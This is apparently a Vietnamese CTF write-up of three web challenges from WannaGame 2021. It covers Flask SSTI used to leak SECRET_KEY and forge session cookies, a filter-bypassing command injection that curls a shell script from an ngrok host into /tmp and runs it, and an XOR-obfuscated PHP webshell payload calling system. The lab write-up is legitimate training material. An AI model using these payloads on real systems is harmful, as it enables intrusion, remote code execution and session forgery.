[Web]WannaGame 17/04/2021

Web01

Tổng quan:

1 source file python

Sau 1 hồi đọc hiểu source được cho thì mình xác định đây là dạng Flask session nên sẽ tìm và sử dụng 1 tool để decode cookie

Flask-unsign: https://github.com/Paradoxis/Flask-Unsign

Chỉ cần vào endpoint /flag và edit cookie gửi đi {money: 10000000000, username: gicungduoc} đã qua flask encoding.

Khó khăn ở đây chính là tìm ra SECRET_KEY sau khi brute-force wordlist mặc định của Flask-unsign không có dấu hiệu khả thi lắm.

Mình có tìm 1 vài wordlist khác mà cũng không thành công. Nên mình review lại code xem mình có bỏ xót điều gì không

Lúc này mình thấy có 1 function render template khi mình nhập 1 endpoint not found.

{request.path} mình nhập vào bất kì sẽ được in ra. Đây rất có thể liên quan quan đến 1 lỗ hổng template injection server-side.

reference: https://portswigger.net/research/server-side-template-injection

Mình test thử và thành công injection. Giờ bắt đầu leak SECRET_KEY trong biến config ra.

Đã có SECRET_KEY, dùng flask-unsign để encode 1 cookie và dùng cookie vào endpoint /flag sẽ có flag

Web02

Tổng quan:

Hint:

Bây giờ là lúc bắt đầu học xem url --help :))) xem url command làm được gì, impact ra sao, và phải suy nghĩ cách né hết regex đã bị lọc.

Kết hợp nhiều thứ sau khi tìm hiểu mình bắt đầu có những ý tưởng đầu tiên:

  • Né khoảng trắng có thể dùng ${IFS}

  • Thực thi nhiều command bằng ;

  • Chạy apache để lưu file và sử dụng ngrok tunnels localhost ra public

  • curl 1 file .sh từ localhost đến server lưu là test -> run file test.sh bằng sh command

Nội dung file .sh của mình sẽ đơn giản là test trước echo 123 nhưng thất bại.

Mình có tìm hiểu đi tìm hiểu lại, sợ ngrok hay local mình có vấn đề nhưng không phải. Cuối cùng mình hiểu ra. whoami command sẽ cho mình biết là mình user thấp nhất, chỉ có quyền xem ở thư mục hiện hành.

Lúc này mình bắt đầu brainstorm cựk mạk :)) nghĩ xem folder ở linux mình có quyền ghi và thực thi?????

Mình có lóe trong đầu folder log :)) Nhưng không, sau 1 thời gian tìm tòi và lục lọi thử trên máy local mình thì phát hiện ra thư mục tmp <3

Và thế mình bắt đầu curl về file sh về tmp và thực thi chạy command lscat . Cuối cùng ra FLAG.

Các bước thực thi:

  • Bước 1: tạo file bash shell.sh với nội dung

#!/bin/bash
cat /flag.txt
  • Bước 2: để file bash vào vào var/www/html trên máy local

  • Bước 3: sử dụng ngrok để tunnels local ra public

  • Bước 4: Request với payload ?cmd=curl${IFS}-o${IFS}/tmp/shell.sh${IFS}<url_ngrok>/shell.sh;sh${IFS}/tmp/shell.sh

Okay đọc flagggg!!!!!

Web03

Tổng quan:

Hint: dùng kỹ thuật xor tạo ra payload để webshell không cần dùng chữ và số.

Keyword: php webshell without letters and numbers

$_="`{{{"^"?<>/"; //_GET
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);

//PAYLOAD: ?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=system;&__=cat /flag.txt

Vậy là done! Gửi payload trên và đọc flag!

Last updated

Was this helpful?